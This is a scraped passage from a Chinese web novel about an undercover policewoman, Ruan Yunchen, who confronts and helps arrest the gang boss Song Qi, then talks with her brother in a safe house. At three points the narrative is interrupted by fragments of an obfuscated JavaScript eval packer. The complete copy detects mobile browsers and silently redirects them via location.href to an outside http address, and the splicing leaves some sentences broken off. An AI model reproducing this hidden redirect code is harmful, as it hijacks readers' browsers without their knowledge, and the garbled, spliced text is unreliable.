雨一直下,下得好像天要漏了似的,从早到晚都没有半点阳光,仿佛一整天都是黑夜。 风暴快要来了—— 对,风暴快要来了。 宋祈在危险的边缘行走了太久,敏锐的直觉让他意识到,有不好的事情将要发生。 警方的动作越来越密集,资金链上多个点被切断,甚至连天安基金的负责人都逐渐抽身。 他的对策简单粗暴:孤注一掷,进行一场赌上一切的交易。 这笔交易牵扯了他过去十年的积蓄,也攸关他的未来。 目标是码头上的一批走私货物,内有稀有矿石和武器零部件。这是一场赌命的交易,但宋祈已然被逼到别无选择。 本来和安堂的势力在被摧毁后,重新整合就已是千难万难,而如今,社会的变革更是让人寸步难行。 科技的进步让警方的技术手段更为先进,网络监控无孔不入,甚至连银行的账户冻结和交易追踪都能瞬间完成。 宋祈曾经凭借经验和直觉规避的风险,如今早已被精密的数据和逻辑算计得无所遁形。 天不遂人愿。 他原以为与警方的这场博弈不过是旧日的重演,却发现对手已然脱胎换骨。拖得越久,主动权越多地落在对方手中,而他唯一能掌控的,只剩下时间。 失去这次机会,他的王国就会坍塌。 宋祈的信任范围早已缩至一个极小的圈子。 即便如此,他还是把阮云琛推到了这场交易的中心。 他知道她有能力完成任务,也知道她的忠诚是存在裂缝的。但越是如此,他越想试探出她的极限。像是一场猫捉老鼠的游戏,赌的却是他的生死。 阮云琛心中忍不住想要冷笑。 ——都这个时候了,竟然还在想着试探。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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作为特警行动组的一员,她的任务是配合扫黑组完成最后的围剿。这场多部门联合的抓捕行动,目标明确:收网,切断交易链,彻底铲除宋祈的势力。 货轮上的交易信息是阮云琛冒着暴露的风险传递出来的。警方迅速锁定了目标地点,却面临着选择:是抓捕交易的外围成员,还是等待核心人物宋祈现身。 “抓外围没用。”程一冉敲定了计划,“只有把宋祈钉死在证据上,才能让整个组织彻底瓦解。” 行动安排得尽可能周密,围堵人员分布在港口的几个出口处,甚至安排了便衣混入码头工人之中。 但程一冉心里清楚,这种行动永远无法完美。万一惊动了宋祈,阮云琛的处境会变得极其危险。 她握着对讲机,声音冷静:“行动按计划进行,但所有人注意,别提前暴露。” “时间锁定,宋祈十分钟后进入视线。”A低声说。 程一冉没有回答,指示灯变绿的一刻,她转头看向屏幕上的货轮。静默中,整个团队等待着那场注定会发生的风暴。 交易比预想中顺利得多。 账目交接完成,货物在装箱工的手里一一清点。阮云琛跟在宋祈身后,脸上没有任何多余的表情。 货轮上的灯光昏暗,海风夹着鱼腥味,吹得人几乎睁不开眼。 一切看似正常,直到最后一批货物装车时,有人忽然喊了一声:“等等——” 那个声音来自货轮的监工,他手里拿着一份清单,皱着眉低头比对着账目。 他抬头看向宋祈,声音低沉而不安:“这里多了一项。” 宋祈的目光瞬间转向了阮云琛。 他没有说话,只是盯着她,像是在等一个解释。 阮云琛没有慌张,她转头看向那人,语气淡淡:“可能是仓库的疏漏。我去查一下。” 但宋祈没有给她离开的机会。 他的手慢慢伸进了风衣的内袋:“查什么?” 宋祈的声音低沉而冷静,带着一丝漫不经心:“你不是最清楚的吗?” 阮云琛的目光紧盯着他,没有一丝晃动。就在宋祈的手触到木仓柄的一瞬间,她先一步动作,手指迅速划过木仓套,干脆利落地将木仓掏出,稳稳地对准了他的心口。 动作利落到一气呵成,仿佛是从无数次训练里生出的本能。 她侧过头,腾出手来戴上了蓝牙耳机。 “宋祈,”阮云琛开了口,语气冷硬而坚定,“放下武器,不要反抗。” 宋祈的动作顿了一下,接着笑了。 他慢慢举起手,木仓仍然攥在指间,那动作看起来既像是在服从,又像是在拖延。目光却牢牢落在她的脸上,带着一丝嘲弄的审视。 “行啊,阮云琛,”他说,声音低沉,语调却微微上扬,像是一种玩笑,又像是一种威胁,“我就知道你会咬我一口,但没想到你咬得这么狠。” 110. 收网 木仓声没有响起。 周围的空气却紧绷到几乎凝固。 宋祈的手下在阮云琛掏木仓的瞬间已经纷纷举起了武器,木仓口黑洞洞地对准了她。可就在一片混乱即将爆发的前一秒,宋祈率先放下了木仓。 他动作平缓得让人觉得不真实。 他挥了挥手,像是在驱散一场无关紧要的骚.动:“都别动。” 声音低沉,却不容置疑。 手下们的目光在宋祈和阮云琛之间游移,最终还是选择退了一步,像是潮水被迫退却。他们握着木仓的手僵在半空中,不甘又犹豫。 宋祈没有再看他们。 他的目光落在阮云琛握着木仓的手上,停了片刻,忽然轻笑了一声,笑意却未及眼底。 “你这动作,比上次见你拿木仓,利索多了。”他说。 宋祈的语调分外随意,好像只是长辈与晚辈之间的日常问候,甚至带着几分调侃的意味。 阮云琛没有回答。 她的手稳稳地举着木仓,像是一块冷硬的铁,没有一丝动摇。 宋祈低头,拍了拍掌心上的灰尘,像是在整理自己的情绪。他沉默了一瞬,随后抬头看着她,目光沉甸甸的,可很快,他就又笑了。 他迈开步子,缓缓走向一旁,拖出了一把椅子。 椅子在地面上发出刺耳的摩擦声,让在场所有人的神经都绷得更紧了一些。 他坐了下,动作不失优雅,像是这场风暴与他无关。他伸手掏了掏口袋,掏出一包烟,却忽地发现打火机不在身上。 “有打火机吗?”宋祈的声音轻飘飘的。 一瞬间,周围安静得近乎压抑,只剩下风从舱门的缝隙里漏进来,发出轻微的呼啸声。 空气中弥漫着不易察觉的焦灼感,每个人的呼吸都变得极其细微,像是怕惊动了某种隐匿的危险。 耳机里传来一阵轻微的电流声,紧接着是一个清澈而冷静的声音:“小心行事。” 阮秋这一次没有了变声器,少年般清澈的嗓音透着一丝青年人的稳重。阮云琛的手指没有丝毫放松,目光依旧牢牢锁定着宋祈。 她沉默了片刻,开口道:“没事。” 阮云琛她——太了解宋祈了。 她知道,他现在不会有任何动作。 这个人有他自己的规则。 宋祈不喜欢仓促的反击,也不屑于在局势未定的时候出手。他的自信,来自于对局面的掌控,而不是冒险。 他不会容忍自己在混乱中失了分寸——尤其是在这样的场合,手下还在看着,枪口还对准着他。 宋祈清楚,冲动只会让局面更糟。 他更擅长利用时间,把握住那些细微的转机——像蛇一样潜伏,耐心地等着机会咬向猎物的七寸。 而现在,他已经被阮云琛盯死了,枪口冰冷的压迫感让他不得不暂时安静下来。 宋祈了解阮云琛,就像阮云琛了解他一样。 正如他说的,她是他养的狗——一条精明而狡猾的狗。她不会在没有准备的情况下冒险,也不会在局势未明的时候轻举妄动。 阮云琛很像宋祈,或者说......他们就是同一种人。 阮云琛知道他在想什么。 宋祈总是自信满满,认为一切都在他的掌控中——包括她。 她的谨慎、她的狠劲、她的冷静,都是他一步步看着她在险境中磨练出来的。他不需要费力去“调教”,因为这份心性早已腌入骨髓,融入了她的每一次呼吸和行动。 她不打无准备的仗,宋祈非常清楚这一点,所以他一定猜到了。 猜到了这外面还有埋伏,猜到了他一定逃不掉。 阮云琛从口袋里掏出打火机,稳稳地递过去。她的木仓仍然对准他的胸口,像是一条绷紧的弦,没有一丝松懈。 火苗点燃时,光影跳动了一下,映在宋祈的眼底。他低头吸了一口烟,烟雾从鼻息间缓缓吐出,遮住了他的神色。然后,他抬头看向她,嘴角带着一抹淡淡的笑。 “来吧,”他说,声音低沉又平静,像是一个优雅的邀请,“聊聊。” 宋祈扬了扬眉,嘴角牵起一丝讥诮的笑:“说说你为什么要咬死我?” 他看起来并不惊讶。像是早已料到这一刻的到来。他的目光扫过她握枪的手,又落在她的脸上,带着某种难以言喻的探究。 是的,他似乎早就知道了。或者说,他从未完全信任过她。 伪造的身份可以骗过大多数人,却未必能骗过一个像宋祈这样活在刀尖上的人。 阮云琛十六岁以后的履历做得很完美,但再完美的档案也会有疏漏。 比如她的学历,她的工作,档案虽然被修改得天衣无缝,但一些细枝末节却无法证实——同学,老师,同事,社交关系。 档案固然能改,但数据并改变不了人的记忆。 而她的住址——邻里虽然少了很多,但并不代表他们全部搬了走。 邻里的闲谈向来是消息的来源,假若宋祈在那楼下多待上一个星期,或许就能了解整个社区的动向。 阮云琛只是在赌。 在赌他自信到甚至自负,自负地觉得不需要去了解阮云琛过去的全部,自负到觉得那些蛛丝马迹只靠猜测和试探就已足够。 他从不需要确定——他只需要等待,等待一个机会,将她推入绝境,看她会不会反咬一口。 宋祈会觉得有趣。 他自负到从未想过那有趣的东西,有时候也会要了人的命。 “和警方连接已切断。”阮秋的声音从耳机中传出,阮云琛愣了愣,松了口气。 她的手指微微收紧,冷硬的声音从她嘴里吐出来:“你一直都知道我是条不安分的‘狗’。” “当然知道。”他点头,语气像是在评论天气般轻描淡写,完全没有被枪口指着的紧迫感,“但你知道吗,阮云琛,我从不怕狗咬我。狗若调.教得好,是不会咬人的。” 他停顿了一下,目光落在阮云琛的脸上,嘴角微微上扬,露出了一丝让人难以揣摩的笑意。 “可狼——”他弹掉烟灰,话音拖得很长。 空气仿佛凝滞了一瞬。阮云琛没有出声,她盯着他手上的动作,目光冷峻,手指却在枪柄上紧了紧。 “狼生来便凶,”宋祈低头看着指间的烟头,慢悠悠地继续,“野性难驯,以肉糜为食。很多人以为狼和狗是一样的,小时候看着差不多,便把狼当狗养了。但狼终归是狼。” 他的语气缓缓,却每个字都像刻在空气里般清晰:“养得久了,才发现,狼的眼睛里始终有光,驯不掉,也灭不掉。” 他抬头看向阮云琛,烟雾掠过他的脸,那笑意里带着一丝藏不住的嘲弄:“你说,我是不是把狼当狗养了?” 阮云琛的手指微微动了一下。 她的目光依旧锁在他的脸上,试图穿透那层刻意堆砌的从容,看清藏在其下的真相。 但无论怎么看,他都像是一座完美雕琢的面具,分毫没有裂痕。 耳机里的声音突然静了下来,A没有再开口,仿佛是在等待,或者是把选择交还给了她。 阮云琛觉得喉间有些发紧。 那是一种说不清道不明的感觉,像是旧伤被重新撕开,却不是疼,而是隐隐的刺痒。 她深吸了一口气,强迫自己冷静下来,指尖在枪柄上轻轻滑过,仿佛这是她唯一能够依靠的安全感。 阮云琛心里清楚,宋祈或许并不是单纯的恶魔。 他是她和淼淼从无底深渊里爬出来的唯一一根稻草——尽管那稻草上满是倒刺。 阮云琛还记得自己第一次找到他时的情景。 棋牌室里满是烟味酒味还有男人的汗臭味,潮湿和霉味像跗骨之蛆,一点点攀爬到了全身。阮云琛咬着牙对他说,“我来找你做一笔交易”。 那时的宋祈并没有立刻回应,只是低头点燃一支烟,静静地看着她,目光像是在打量一件物品。那种审视,令她至今难以忘记——仿佛她只是一个工具,或一件货物,有价值,就能用。 后来,他丢了一份合同在她面前。 那不是书面的契约,而是一条看不见的链条,从那一刻起,她的所有都属于他。 她为他做事,拼命赚钱,甚至用自己学来的生存技能去打地下黑拳。 他给她一个方向,一个活路,但也让她越来越看不见出口。 那套破旧的房子,是他留给她和淼淼的“恩惠”,而那些偶尔扔到她面前的钱,则是他向她施舍的象征。 宋祈不是无缘无故地施舍。 他不喜欢看到人彻底崩溃,他喜欢把人踩到泥里,然后再拉一把。 他知道,一条被驯服的狗,不会因为饿死而感激主人,但如果在最饥饿的时候给它一口肉,那它的忠诚就能换来一生的驯服。 但阮云琛不是狗。 她早就意识到,甜枣的味道从一开始就有毒。 她学会了从宋祈的暴力和嘲弄里汲取力量,学会了如何用他的逻辑去对抗他——冷酷、狡猾、毫不留情。 宋祈曾教她如何隐藏自己,他以为那是对自己最好的保护,却没想到,那同样是他最危险的隐患。 他或许明白这一点,但他不在乎。 宋祈这样的性格,总是把一切握在掌控之中,即便是最危险的武器,他也会拿在手里。他相信自己的力量,也相信自己调.教出来的“狗”不会真的背叛他。 “不,你错了。” 阮云琛的声音冷得像一片薄冰,语调却出奇地平静。她的嘴角微微一挑,露出一抹几乎让人分不清是讽刺还是嘲弄的笑意:“你从来没有把狼当狗养。你面前站着的,就是一条狗——一条‘野狗’。” “野狗没有主人。”她慢慢开口,语气一字一顿,仿佛每一个字都带着锋利的边缘,“它不服从,也不畏惧。它不求施舍,不跪乞怜。它活在废墟里,饿着肚子,凭着牙和爪子去争,去抢。你看不起它,可它从不需要你的认可。” 她的手指轻轻地敲了一下枪柄,像是在强调什么:“它不强大,不高贵,但它足够凶。野狗没有主人,只有猎物。而它唯一服从的,只有自己。” 宋祈盯着她,目光深邃,嘴角挑起一抹冷笑,像是在品味她的每一个字。他的沉默像一张巨大的网,将周围的气氛拉得愈发紧绷。 阮云琛却没有停下:“你以为你会死在狼的爪下?不,你会死在狗的牙下。就是你口中的狗,你亲手养大的狗。它无足轻重,甚至可以说卑微,但它的牙足够毒,毒到让你小瞧它的代价,是你的命。” 她向前一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“宋祈,你完不完是你的事。”阮云琛说,“你救过我,但那不是让我永远替你遮掩罪行的理由。我欠你的,早就还清了。” “你给过我选择的机会吗?”阮云琛的声音像刀子一样锋利,直刺人心。她顿了一下,嗓音更冷,“从来没有。” 她的指尖微微收紧,记忆像潮水般涌来。 ——“我只需要你做两件事,听话,和有用。” 宋祈当年的声音依然清晰,像是一把冷硬的锁,把她牢牢地困在原地。那时她不过十四岁,站在阴冷的仓库里,手上拎着一把刀,刀尖上的血还没有干透。 “你要是不听话,也没关系。”他说这话时带着笑,语气轻飘飘的,却让她浑身发冷。“我有一千种办法让你明白,听话才是唯一的出路。” 那时候的他捏着两张照片,一张阮淼淼,一张阮秋。他反复地把玩着那两张薄薄的纸,而后将烟头一点点怼了上去,烧了穿。 阮云琛没有回答,只是咬紧了牙关。那一天,她明白了一个道理:没有人会给她机会,她只能靠自己。 后来,每一次任务,每一次试探,每一次她被迫站在刀尖上,他都像是在旁边看戏。 ——“阮云琛,你看起来很聪明,但聪明不够,活下去才重要。” 他时常这样说,仿佛在教导她,仿佛在看一只野狗挣扎。 她靠着自己的聪明和狠劲,一次次从死局里爬出来。他看着,笑着,像一个冷眼旁观的主人,等着她有一天彻底被驯服。 回忆在脑海中翻涌着,阮云琛的眼神愈发凌厉。她开口打破了沉默,语气冰冷得像一把刀:“你没给我选择的机会,但你教会了我一件事——没有人可以选择我,除了我自己。” 她抬了抬手中的枪,瞄准的方向一点也没有动摇,目光直直地盯着宋祈:“现在,我做了选择。” 宋祈笑得更深了,却没有再接话。他低头看着地面,像是在思考,又像是在嘲讽什么。 “你以为你能救得了谁?”他抬起头,目光锐利,带着一丝疯狂,“你觉得你能救你的弟弟妹妹?还是救你自己?” 阮云琛的嘴角忽然弯起,带着一抹淡淡的笑意,那笑意里有些讽刺,又有些解脱。“他们?”她轻声重复了一遍,像是在咀嚼这个词。 “他们已经足够成熟,不需要我救了。”她的声音低而稳,却带着一种不容置疑的坚定,仿佛这是某种从未动摇的信念。“他们甚至比你以为的更强。” 这一句话落下,空气像是被彻底冻结了一样,四周只剩下静默的压迫感。 阮云琛的目光如同寒夜里的刀锋,带着不屈和决绝,而宋祈却忽然笑了,那笑声低沉沙哑,却透着一种难以言喻的复杂情绪,像是失望,又像是某种隐秘的欣慰。 宋祈看着她,目光深深地盯着她的眼睛,像是要把她整个灵魂都看穿。良久,他轻轻吐出一口气,嘴角的笑意收了几分,语调也沉了下来。 “我真在那个时候就该杀了你。”他说,声音几乎是喃喃自语。 “你赢了,阮云琛。”宋祈低声开口,语气里却听不出一丝胜负的情绪。他慢慢后退一步,靠在货箱旁,脸上的笑意淡去,神情变得冷静而又复杂。 “可我还是要告诉你,这条路上,没有赢家。” 他的声音落下的同时,外面响起了整齐的脚步声,警笛声混杂着特警的喊话,正迅速逼近。 程一冉的声音穿透喧嚣而来:“放下武器,所有人投降!” 111. 胡思乱想 宋祈被捕的消息很快传开,他在码头上被特警围堵的画面成为扫黑组行动的标志性一幕。 没有人预料到,这个曾经不可一世的男人会以如此狼狈的姿态被带走。那一刻,他脸上的笑容还带着不屑,但眼底的寒意却昭示了他从未放弃的挣扎。 警方的动作迅速而精准,随着宋祈的落网,一张巨大的扫黑网络正式拉开收网的序幕。 天安基金的黑金交易,和安堂残余势力的窝点,甚至连隐藏在普通公司背后的地下网络,都在逐一曝光。 这一切如多米诺骨牌般迅速倒塌,警方手中的证据链条一环接一环,最终将所有指向的矛头锁定在宋祈的头上。 但,这只是开始。 宋祈的嘴巴很紧,虽然被捕,但他显然早有预备。 警方的审讯并未得到太多实质性的突破,而他的手下也没有完全被摧毁——一些残余势力依然潜藏在城市的阴影里,试图继续为他翻盘。 在这种复杂的局势下,警方对阮云琛的处境格外关注。 作为关键的卧底,她的身份一旦暴露,必然会成为报复的首选目标。更何况,阮云琛手中握着大量的证据——包括资金流向、势力布局,以及她与A联手获取的机密资料。这些东西太重要了,重要到警方不敢冒任何风险。 阮云琛接到转移通知的那天,刚从派出所的休息室醒来。她原本以为自己可以稍作喘息,但很快意识到这不过是另一场任务的开始。 转移决定得很仓促,但也很稳妥。 为了确保安全,警方将她和阮秋安排在同一处安全屋里。 名义上是姐弟住在一起更方便管理,实际上,谁都知道这段时间她最需要的不是无关紧要的保护,而是一个她能够信任的人。 安全屋的位置隐秘,外表看起来像普通的居民楼。几台摄像头安静地守护着外部的每个角落。 屋子不大,里面的设施也很简单,但干净整洁,带着某种一眼可见的局促和寒碜。阮云琛走进去时,心里没来由地想起了以前的公寓。 这样的空间,与其说是个避风港,不如说更像一处临时安放人的壳子,没有过多装饰,也没有太多烟火气息,仿佛永远不打算真正住人。 她拖着行李箱走进屋子,目光扫过四周时,看到餐桌上的碗筷摆得整整齐齐,显然是特意准备过的。 房间里透着某种故作出来的温馨感,但这点温馨在空荡荡的空间里显得有些无力,像涂抹得过于匆忙的一层油彩,掩盖不了屋子骨子里的冰冷。 阮秋比她早到了一步,正在整理衣物。他抬头看了她一眼,嘴角牵动了一下,像是在无声地打招呼。 阮云琛没有说话,只是点了点头,把箱子拖到角落里。她还没完全适应这种从枪林弹雨到平静日常的骤变,但眼前的这一切又确实像是一次短暂的喘息。 他们被要求尽量减少外出,所有的通讯设备都被特殊加密。屋外的摄像头监控着周围的每一寸土地,而屋内的气氛却因为这份过度的安全感而显得微妙。 安全屋的灯光泛着冷白,墙壁像是多年没刷过的老瓷砖,粗糙得令人厌烦。 阮云琛靠在墙边,目光落在角落那张半旧的椅子上,仿佛那是一片毫无意义的空白。 她听见门外传来程一冉被带入隔壁安全屋的声音,细微而不间断,像一条被踩住尾巴的蛇,动作虽小,却隐隐透着攻击性。 事情已经过去三天了。 宋祈的事在警局里被炒得沸沸扬扬,但每一条线索都像沙子一样,从指缝里溜走。 警方把宋祈描述成一个狡猾又残忍的恶人,却没人提起——他曾经带着一个十来岁的小女孩,在街头巷尾收债、算账、摆平一切。 阮云琛并不认为宋祈会刻意替她隐瞒。 他不是一个心软的人,他的嘴里从来没有温情,只有恫吓和命令,就连最后那句“无足轻重的狗”,都不是出自某种情感,而是一种冷冰冰的事实陈述。 他没有掩饰,也没有多费唇舌,好像这段过往,对他而言不过是杯子里的半口凉水,喝下去也无关滋味,倒掉也不值一提。 然而,他确实什么都没说。 阮云琛试图用自己仅存的冷静去分析这个逻辑——是为了保护自己?不可能。 宋祈一向不在意“自己人”的生死,更不可能为了一条“狗”去冒险。 他这么做,大概只有一个原因:无足轻重。 想到这里,阮云琛忽然觉得胸口一阵钝痛。 不是难过,而是某种久未提及的耻辱感重新翻上心头。她意识到,从头到尾,宋祈并不把她当成一个人。她为自己挣扎了那么多年,却可能只是他无数枚棋子中的一颗。 ——无所谓。 她告诉自己。 宋祈的看法不重要,他说她是狗,那她就当一条自由的狗。可怜又如何,轻贱又如何? 她从来没奢望别人的尊重,她只要能活着,只要还能保护阮秋和淼淼,就已经足够。 想到这里,她闭了闭眼,靠着冰凉的墙壁长出了一口气。 空气中有些发霉的潮气,伴随着不远处传来的脚步声,被轻轻地压在地面上。那片危险的泥沼,是她的过去,像这片安全屋的灯光一样,始终黏在她的影子上。 “姐,吃完了饭就好好休息。”阮秋的声音在身后响起,带着一点故作随意的漫不经心。他端着刚洗好的碗,手腕悬在流理台上,抬起的眉眼间藏着一种让人琢磨不透的从容。 阮云琛没有接话。 她把视线从桌上的碗筷移开,轻轻捏了捏眉心。 宋祈被捕的消息已经传遍了警局,案子告一段落,周围的空气似乎也因此松快了些,然而她的脑袋里却仍是一团乱麻。 那就像是一根被绷得过紧的弦,刚刚松开,却又不可控制地弹回去,发出刺耳的声响。 阮云琛觉得胸口发闷,却无处发泄。 她闭了闭眼,深吸一口气,强迫自己把注意力转移到眼前的空间里。 阮秋正忙着洗碗,水声哗哗作响,带着一种机械的规律感。他的动作不疾不徐,整个人看起来比她轻松得多,仿佛这几天的紧张和疲惫从未存在过。 她盯着他的背影,思绪却越发散乱。 她早就接受了阮秋就是“A”的事实,在一次次任务中,她不得不承认“A”的能力确实让人刮目相看。 但与此同时,她也一直没有坐下来,真正问过他:为什么?他为什么会成为“A”?又是怎么成为的?他知不知道这一切究竟有多危险? 阮云琛很想问,却总是没有机会,或者说是没有勇气。 每次任务结束后,他们只来得及确认对方还活着,然后又被推向下一场风暴。可现在宋祈被捕了,所有的危险似乎暂时按下了暂停键,而阮秋就在她面前,像一根扎在她心里的刺,无法回避。 阮云琛揉了揉眉心,终于忍不住开口,语气里带着一点冷不丁的锐利:“所以,A到底是怎么回事?” 阮秋听到这句话时,手上的动作顿了顿。水龙头的声音陡然停止,留下短暂的寂静。 他慢慢放下碗,拿起一旁的毛巾擦了擦手。整个过程不紧不慢,仿佛是在给自己争取时间。他转过身,靠在流理台边上,低头理了理毛巾的边角。 “怎么回事?”他语气轻飘飘的,甚至带着点刻意的无辜,“我不是早就告诉你了,我在国外学的东西,刚好派上了用场。” 阮云琛皱了皱眉。 这个答案没有实质性的内容,像是一句被丢出来的敷衍。她的指尖不由自主地在桌面上敲了敲,仿佛那是她情绪的出口。声音细微,却节奏鲜明。 “不是这个意思。”她的语调更低了一些,带着隐约的压迫,“我是问,你知不知道这有多危险?” 这句话出口,她愣了一下。 这句问话比她预想的更急促,带着一种脱口而出的慌乱。阮云琛向来能控制自己的情绪,尤其是对阮秋——无论面对他的挑衅、沉默还是试探,她都能不动声色地应对。 然而这一次,情绪像是突然被抽丝剥茧,赤裸裸地暴露出来,让她无处躲藏。 她低下头,视线落在餐桌边缘。木质纹路在灯光下显得深浅不一,仿佛一条条纵横交错的裂隙,带着某种无声的暗示。 危险……危险。 如果他之前真的有了闪失,不小心出了事呢? 一个念头忽然从脑海中冒了出来,带着钝刀割肉般的疼痛。 阮云琛从未允许自己细想这个问题,可现在却像潮水般不可阻挡地涌了上来。万一,他之前的存在被宋祈发现怎么办? 阮云琛很清楚,这种想法是个深不见底的漩涡,一旦被卷入,就再也逃不出来。 过去的任务中,她从不允许自己往这些方向思考,因为她知道一旦想了,就会停不下来——停不下来对每个决策的怀疑,停不下来对每一次合作的焦虑,也停不下来对阮秋的恐惧。 之前的潜伏任务,让她始终绷紧神经,几乎没有时间思考这些问题。 宋祈的试探像雨点般密集,让她不得不时刻应对,哪怕在面对“A”时也只能用绝对的冷静压下所有情绪。 她害怕稍有松懈,就会被试探出破绽,或者让自己掉入那些不敢面对的深渊。 如今她终于停下来了。 停下来,意味着一切都从暗涌变成了奔腾的巨浪。 她的思维变得混乱,不再像任务期间那样清晰有力,而是被一种纠缠不清的情绪左右着。 阮云琛开始无法控制地去想那些可怕的、她从未敢细想的事情。 万一,万一当初一个不小心,阮秋的存在暴露了呢? 万一,宋祈像对付那些叛徒一样,对付他呢? 阮云琛见过宋祈如何对待背叛者,那不是活人该承受的痛苦。 那些人的眼睛里最后只剩下绝望,甚至连开口求饶的力气都没有。 她见过太多这样的场景,冷眼旁观,告诉自己要习惯,可这一刻,想到那些事情可能发生在阮秋身上,她的胸口像是被撕开了一道口子。 阮云琛闭了闭眼,却无法驱散那些画面。 宋祈的地下室,湿热得让人窒息,腐臭的味道混合着血腥气息,墙壁上深深浅浅的血迹像无法磨灭的印记。那是人间炼狱,所有被带进去的人,再也没能完整地出来。 阮云琛害怕。 害怕在这些画面里,那个挣扎求生的身影会是阮秋。 他那么瘦,骨头那么细,能撑得住几下? 他甚至还那么年轻,连脸上的稚气都没完全褪去。他为什么......为什么非要做这些事? 就因为他有能力? 就因为他想帮忙? 思维像脱缰的野马,越转越快,越想越害怕。 阮云琛厌恶这样的自己——厌恶那个什么都不敢想、不敢面对的自己。 她不是这样的人。 她不该是这样的人。 可阮云琛也同样讨厌自己的不受控制。 明知道“A”的能力在任务中有多出众,明知道没有“A”的配合,警方甚至拿不到关键证据,她却没法让自己的恐惧停下来。 因为她知道,阮秋不是单纯的“A”,他是她的弟弟,是她从桥下带回来的孩子,是她拼了命都想要保护的人。 这个认知让她的胃紧紧地缩成一团,汗水从后背滑落,手指也开始微微发抖。 “危险?”阮秋忽地低低笑了一声,那笑容淡得像是雾气,随时可能散去。他抬起头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284066|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看着她的目光里带着几分了然和笃定,却没有丝毫戏谑。“姐,你问这话,是想让我回答什么?” 阮云琛愣了愣,抬头看向了他。 阮秋的语气依旧平静:“是为了你,还是为了我?你希望我说,我只是想回到你身边?还是希望我说,我在等一个机会,让你承认我能和你并肩作战?” 他顿了顿,眉眼低垂,似乎在认真思考这个问题。片刻后,他摇了摇头,嘴角轻轻勾起一抹似笑非笑的弧度:“可惜,都不是。” 阮秋的声音放得很轻,仿佛只是漫不经心地陈述一个事实:“姐,你想多了。我早就不喜欢你了。” 这句话像是一把细细长长的针,轻轻扎进了空气里,没有预兆,没有迟疑。房间里陷入短暂的寂静,连窗外的风声都像在那一瞬间被压低了。 阮云琛愣住了,身体微微僵了一下。 她盯着他的脸,试图从那双眼睛里看出一丝动摇,可他的表情干净得近乎冷淡,没有一丝情绪泄露,仿佛刚才那句话只是随口说出的一个无关紧要的陈述。 “我成为A,是因为我有这个能力。”他靠在流理台边,低垂的眼睫在灯光下投下一片浅浅的阴影,语调依旧平缓而克制,“我想做点事,仅此而已。” 阮云琛试图开口,可胸口像是被什么东西堵住了,话卡在喉咙里,既说不出来,也咽不下去。她抬起手,手指在桌面上轻轻碰了碰,却始终没有触碰到什么实质的东西。 “……不喜欢了?”她下意识地重复了一遍,声音很低,像是喃喃自语,又像是想从他那里确认些什么。 这四个字一出口,她忽然意识到不对劲。 空气里似乎掺进了某种她无法解释的微妙,像一根看不见的弦被轻轻拨动,发出一声模糊而温热的回响。 她抬起头,盯着阮秋的脸。可他依旧靠在那里,眼神从容,嘴角微微上扬,似乎已经完全从这场对话中脱身。 然而阮云琛却无法忽视自己心底涌起的奇怪感觉——那些混乱的、不该有的情绪,从胸腔深处翻滚而上,像一杯过了火的热酒,涌得她脑袋发胀。 阮秋的目光微微一闪,随即垂下眼,动作懒散地擦了擦手,语气里透着一丝几近温柔的轻描淡写:“是啊,早就不喜欢了。” 他说得太自然,太平静,甚至没有半点犹豫。 这样的态度让阮云琛的心像被什么东西轻轻攥了一下,莫名有些不舒服。她觉得自己应该松一口气,可胸腔里的气流却卡住了,怎么也顺不下来。 阮秋没有再看她,而是转身把毛巾挂回了钩子上,动作随意得像是在处理一件无关紧要的小事。 他背对着她,肩膀线条在昏黄的灯光下显得单薄而沉稳,仿佛刚才的对话不过是厨房里的一场无意义的风波。 窗外的风吹进来,带着一点冬夜的寒意,轻轻拂过阮云琛的脸颊。 她低下头,盯着自己的手指,发现它们在微微发抖。她很想说点什么,哪怕是一句毫无意义的应和,可嗓子像是被堵住了一样,发不出声音。 她深吸了一口气,试图平复情绪,可那些混乱的、不受控制的思绪依旧如潮水般翻涌。 阮秋的那句“早就不喜欢了”,在她脑海里反复回荡,像一块被丢进深潭的石头,掀起无数层涟漪,却又沉得让人透不过气。 风声穿过窗缝,带着一点冬夜的凉意,让她的后背微微发紧。 阮云琛低下头,用力揉了揉眉心,试图驱散脑海中那些乱七八糟的东西,却发现越想清理,越显得心虚。 对啊......对啊。 五年了。 五年,说长不长,说短也不短。 阮秋说得没错,他确实有足够的理由不喜欢她了。 五年的时间,足够他在国外看到更广阔的世界,认识更优秀的人,见识那些比她更值得去喜欢的存在。 她不过是他小时候的一个执念,像是那些小孩子阶段性的迷恋,来得快,去得也快。 他为什么要喜欢她? 她又有什么好喜欢的? 她脾气不好,话少得像个木头,整天板着脸,甚至从来没有真正对他笑过。 阮云琛想起他们第一次相遇时,桥下的风那么冷,她却用几乎可以称得上冷漠的态度走过了他。 那时候的阮秋只是一个瘦骨嶙峋的流浪儿,而她,也不过是一个试图养活自己的孩子。 再后来,她几乎每次对他的关心都藏在一句句训斥里,甚至对他表现出感情时也总是不愿表露任何情感。 阮秋真的没有理由喜欢她——也许曾经有过,可那些理由早就被时间磨得干干净净。 五年过去了,他变了很多,她也变了很多。 如今的阮秋,已经是那个站在她面前,能以“A”的身份和她并肩作战的人了,而她,却还在为了过去的记忆而摇摆不定,甚至......甚至会为了一句“我早就不喜欢你了”感到难堪和不安。 她凭什么觉得自己还能站在原地等他?凭什么觉得他会一如既往? 